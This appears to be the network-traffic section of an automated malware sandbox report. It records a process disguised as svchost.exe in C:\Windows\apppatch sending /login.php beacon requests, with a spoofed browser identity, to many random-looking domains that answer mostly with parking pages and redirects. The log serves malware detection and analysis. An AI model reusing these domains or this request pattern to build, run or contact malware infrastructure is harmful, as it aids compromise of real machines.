                                                                                                                                                                                                          Host: qegyval.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.362814903 CET307INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:37 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 138
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          ETag: "663ee226-8a"
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          25192.168.2.662038103.224.182.252804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.154115915 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vofycot.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.737201929 CET338INHTTP/1.1 302 Found
                                                                                                                                                                                                          date: Mon, 11 Nov 2024 17:13:13 GMT
                                                                                                                                                                                                          server: Apache
                                                                                                                                                                                                          set-cookie: __tad=1731345193.3163760; expires=Thu, 09-Nov-2034 17:13:13 GMT; Max-Age=315360000
                                                                                                                                                                                                          location: http://ww16.vofycot.com/login.php?sub1=20241112-0413-1304-9c25-d9b9aac71030
                                                                                                                                                                                                          content-length: 2
                                                                                                                                                                                                          content-type: text/html; charset=UTF-8
                                                                                                                                                                                                          connection: close
                                                                                                                                                                                                          Data Raw: 0a 0a
                                                                                                                                                                                                          Data Ascii:


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          26192.168.2.662050199.59.243.227804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.888042927 CET350OUTGET /login.php?subid1=20241112-0413-1393-8b92-799b17a46fa8 HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: ww25.lyxynyx.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          Cookie: __tad=1731345193.2353053
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.313991070 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          date: Mon, 11 Nov 2024 17:13:13 GMT
                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                          content-length: 1230
                                                                                                                                                                                                          x-request-id: 420ef3a8-c938-4e4a-99bb-1a08a10d1764
                                                                                                                                                                                                          cache-control: no-store, max-age=0
                                                                                                                                                                                                          accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          vary: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Cv4wKf2H8VZiKuMzPNno6p1KNNMJH3Dw3bPkuWqU7DW5lPnILUx1f3TjiFNhJg6KRZIrewXvg55vjxnwnDGm8g==
                                                                                                                                                                                                          set-cookie: parking_session=420ef3a8-c938-4e4a-99bb-1a08a10d1764; expires=Mon, 11 Nov 2024 17:28:14 GMT; path=/
                                                                                                                                                                                                          Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 43 76 34 77 4b 66 32 48 38 56 5a 69 4b 75 4d 7a 50 4e 6e 6f 36 70 31 4b 4e 4e 4d 4a 48 33 44 77 33 62 50 6b 75 57 71 55 37 44 57 35 6c 50 6e 49 4c 55 78 31 66 33 54 6a 69 46 4e 68 4a 67 36 4b 52 5a 49 72 65 77 58 76 67 35 35 76 6a 78 6e 77 6e 44 47 6d 38 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Cv4wKf2H8VZiKuMzPNno6p1KNNMJH3Dw3bPkuWqU7DW5lPnILUx1f3TjiFNhJg6KRZIrewXvg55vjxnwnDGm8g==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="pr
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.314696074 CET664INData Raw: 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65
                                                                                                                                                                                                          Data Ascii: econnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNDIwZWYzYTgtYzkzOC00ZTRhLTk5YmItMWEwOGExMGQxNzY0IiwicGFnZV90aW1lIjoxNzMxMzQ1MTk0LCJwYWdlX3VybCI6I


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          27192.168.2.66205264.190.63.136804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.117108107 CET348OUTGET /login.php?sub1=20241112-0413-1304-9c25-d9b9aac71030 HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: ww16.vofycot.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          Cookie: __tad=1731345193.3163760
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807411909 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          date: Mon, 11 Nov 2024 17:13:14 GMT
                                                                                                                                                                                                          content-type: text/html; charset=UTF-8
                                                                                                                                                                                                          transfer-encoding: chunked
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Mon, 26 Jul 1997 05:00:00 GMT
                                                                                                                                                                                                          cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                                                                                                                                                          pragma: no-cache
                                                                                                                                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_SrXOcW51mwGTH+KK7GWmjp6Tooz4B48oYzKrJ7EOZfZ6jQvZXMkk4u9uKF5QvAVJuK2JZquBsvc+iF81sBEbDA==
                                                                                                                                                                                                          last-modified: Mon, 11 Nov 2024 17:13:14 GMT
                                                                                                                                                                                                          x-cache-miss-from: parking-7596689c44-4sqbl
                                                                                                                                                                                                          server: Parking/1.0
                                                                                                                                                                                                          Data Raw: 44 43 45 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 53 72 58 4f 63 57 35 31 6d 77 47 54 48 2b 4b 4b 37 47 57 6d 6a 70 36 54 6f 6f 7a 34 42 34 38 6f 59 7a 4b 72 4a 37 45 4f 5a 66 5a 36 6a 51 76 5a 58 4d 6b 6b 34 75 39 75 4b 46 35 51 76 41 56 4a 75 4b 32 4a 5a 71 75 42 73 76 63 2b 69 46 38 31 73 42 45 62 44 41 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 76 6f 66 79 63 6f 74 2e 63 6f 6d 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 54 68 69 73 20 77 65 62 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: DCE<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_SrXOcW51mwGTH+KK7GWmjp6Tooz4B48oYzKrJ7EOZfZ6jQvZXMkk4u9uKF5QvAVJuK2JZquBsvc+iF81sBEbDA==><head><meta charset="utf-8"><title>vofycot.com&nbsp;-&nbsp;This website is for sale!&nbsp;-&nbsp;vofycot Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="This website is for sale! vofycot.com is your first and bes
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807436943 CET1236INData Raw: 74 20 73 6f 75 72 63 65 20 66 6f 72 20 61 6c 6c 20 6f 66 20 74 68 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 79 6f 75 e2 80 99 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 20 46 72 6f 6d 20 67 65 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d
                                                                                                                                                                                                          Data Ascii: t source for all of the information youre looking for. From general topics to more of what you would expect to find here, vofycot.com has it all. We hope you find what you are searching for!"><link rel="icon" type="image/png
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807451963 CET1236INData Raw: 69 6e 65 2d 62 6c 6f 63 6b 7d 61 75 64 69 6f 3a 6e 6f 74 28 5b 63 6f 6e 74 72 6f 6c 73 5d 29 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 30 7d 69 6d 67 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 73 76 67 3a 6e 6f
                                                                                                                                                                                                          Data Ascii: ine-block}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}butt
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807465076 CET1236INData Raw: 6e 74 3a 69 6e 68 65 72 69 74 7d 64 65 74 61 69 6c 73 2c 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 73 75 6d 6d 61 72 79 7b 64 69 73 70 6c 61 79 3a 6c 69 73 74 2d 69 74 65 6d 7d 63 61 6e 76 61 73 7b 64 69 73 70 6c 61 79 3a 69 6e 6c
                                                                                                                                                                                                          Data Ascii: nt:inherit}details,menu{display:block}summary{display:list-item}canvas{display:inline-block}template{display:none}[hidden]{display:none}.announcement{background:#0e162e;text-align:center;padding:0 5px}.announcement p{color:#848484}.announcemen
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807477951 CET1236INData Raw: 74 2d 73 69 7a 65 3a 31 30 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 64 69 73 63 6c 61 69 6d 65 72 5f 5f 63 6f 6e 74 65 6e 74 2d 74 65 78 74 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 64 69 73 63 6c 61 69 6d 65
                                                                                                                                                                                                          Data Ascii: t-size:10px}.container-disclaimer__content-text{color:#949494}.container-disclaimer a{color:#949494}.container-imprint{text-align:center}.container-imprint__content{display:inline-block}.container-imprint__content-text,.container-imprint__cont
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807491064 CET1236INData Raw: 70 3a 31 30 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 6c 61 72 67 65 72 7d 2e 63 6f 6e 74 61 69
                                                                                                                                                                                                          Data Ascii: p:10px;margin-right:0px;margin-bottom:5px;margin-left:0px;font-size:larger}.container-cookie-message a{color:#fff}.cookie-modal-window{position:fixed;background-color:rgba(200,200,200,.75);top:0;right:0;bottom:0;left:0;-webkit-transition:all .
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807503939 CET1236INData Raw: 72 3a 23 32 31 38 38 33 38 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 32 31 38 38 33 38 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 69 74 69 61 6c 7d 2e 62 74 6e 2d 2d 73 75 63 63 65 73 73 2d 73 6d 3a 68 6f 76 65 72
                                                                                                                                                                                                          Data Ascii: r:#218838;border-color:#218838;color:#fff;font-size:initial}.btn--success-sm:hover{background-color:#1a6b2c;border-color:#1a6b2c;color:#fff;font-size:initial}.btn--secondary{background-color:#8c959c;border-color:#8c959c;color:#fff;font-size:me
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807517052 CET1236INData Raw: 73 6c 61 74 65 58 28 32 36 70 78 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 32 36 70 78 29 7d 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 65 31 36 32 65 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a
                                                                                                                                                                                                          Data Ascii: slateX(26px);transform:translateX(26px)}body{background-color:#0e162e;font-family:Arial,Helvetica,Verdana,"Lucida Grande",sans-serif}body.cookie-message-enabled{padding-bottom:300px}.container-footer{padding-top:20px;padding-left:5%;padding-ri
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807532072 CET1236INData Raw: 6d 3a 73 63 61 6c 65 58 28 2d 31 29 3b 2d 6f 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 2d 31 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 2d 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58
                                                                                                                                                                                                          Data Ascii: m:scaleX(-1);-o-transform:scaleX(-1);-webkit-transform:scaleX(-1);transform:scaleX(-1);z-index:-1}.container-content--lp{min-height:720px}.container-content--rp{width:100%;min-height:820px;margin:0}.container-content--twot{min-height:720px}.co
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807547092 CET1236INData Raw: 2d 62 6c 6f 63 6b 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 5f 5f 68 65 61 64 65 72 2d 6c 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 39 66 64 38 30 31 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30
                                                                                                                                                                                                          Data Ascii: -block{text-align:center}.webarchive-block__header-link{color:#9fd801;font-size:20px}.webarchive-block__list{padding:0}.webarchive-block__list-element{word-wrap:break-word;list-style:none}.webarchive-block__list-element-link{line-height:30px;f
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.812423944 CET1236INData Raw: 5a 71 75 42 73 76 63 2b 69 46 38 31 73 42 45 62 44 41 3d 3d 22 2c 22 74 69 64 22 3a 22 33 30 39 37 22 2c 22 62 75 79 62 6f 78 22 3a 74 72 75 65 2c 22 62 75 79 62 6f 78 54 6f 70 69 63 22 3a 74 72 75 65 2c 22 64 69 73 63 6c 61 69 6d 65 72 22 3a 74
                                                                                                                                                                                                          Data Ascii: ZquBsvc+iF81sBEbDA==","tid":"3097","buybox":true,"buyboxTopic":true,"disclaimer":true,"imprint":false,"searchbox":true,"noFollow":false,"slsh":false,"ppsh":true,"dnhlsh":true,"toSellUrl":"https://sedo.com/search/details/?partnerid=14460&langua


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          28192.168.2.66111264.225.91.73804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.852260113 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qetyhyg.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:16.408402920 CET816INHTTP/1.1 200 OK
                                                                                                                                                                                                          server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                          date: Mon, 11 Nov 2024 17:13:16 GMT
                                                                                                                                                                                                          content-type: text/html
                                                                                                                                                                                                          content-length: 593
                                                                                                                                                                                                          last-modified: Wed, 22 Feb 2023 21:25:52 GMT
                                                                                                                                                                                                          etag: "63f68860-251"
                                                                                                                                                                                                          accept-ranges: bytes
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 35 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 6e 6f 6a 73 2e 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 6c 65 74 20 72 65 74 72 69 65 73 20 3d 20 33 2c 20 69 6e 74 65 72 76 61 6c 20 3d 20 31 30 30 30 3b 0a 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 20 72 65 74 72 79 28 29 20 7b 0a 20 20 20 20 20 20 66 65 74 63 68 28 22 68 74 74 70 73 3a 2f 2f 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 2f 3f 6f 72 69 67 68 6f 73 74 3d 22 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 72 65 73 70 6f 6e 73 65 2e 6a 73 6f 6e 28 29 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 64 61 74 61 20 3d 3e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head> <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" /></head><body> <script> let retries = 3, interval = 1000; (function retry() { fetch("https://domaincntrol.com/?orighost=" + window.location.href) .then(response => response.json()) .then(data => window.location.href = data) .catch(error => { if (retries > 0) { retries--; setTimeout(retry, interval); } else { console.error("Error: ", error); } }); })(); </script></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          29192.168.2.65543672.52.179.174804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:16.146435022 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gatyhub.com


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          30192.168.2.65544272.52.179.174804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:16.680766106 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gatyhub.com


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          31192.168.2.65200252.34.198.229804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.921906948 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lygyvuj.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.604234934 CET413INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:20 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=5401e2757479bd0d46a1094e43cf9318|66.23.206.109|1731345200|1731345200|0|1|0; path=/; domain=.lygyvuj.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          32192.168.2.65536844.221.84.105804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.885515928 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gahyhiz.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.313640118 CET413INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:23 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=c957dca55633865f1d611bb4af3e7869|66.23.206.109|1731345203|1731345203|0|1|0; path=/; domain=.gahyhiz.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          33192.168.2.66329299.83.170.3804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.633200884 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: puzylyp.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.072573900 CET166INHTTP/1.1 308 Permanent Redirect
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Location: https://puzylyp.com/login.php
                                                                                                                                                                                                          Server: Caddy
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:25 GMT
                                                                                                                                                                                                          Content-Length: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          34192.168.2.66329423.253.46.64804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.744457960 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gahyqah.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.196286917 CET1236INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Server: Microsoft-IIS/7.5
                                                                                                                                                                                                          X-Powered-By: ASP.NET
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:19 GMT
                                                                                                                                                                                                          Content-Length: 1245
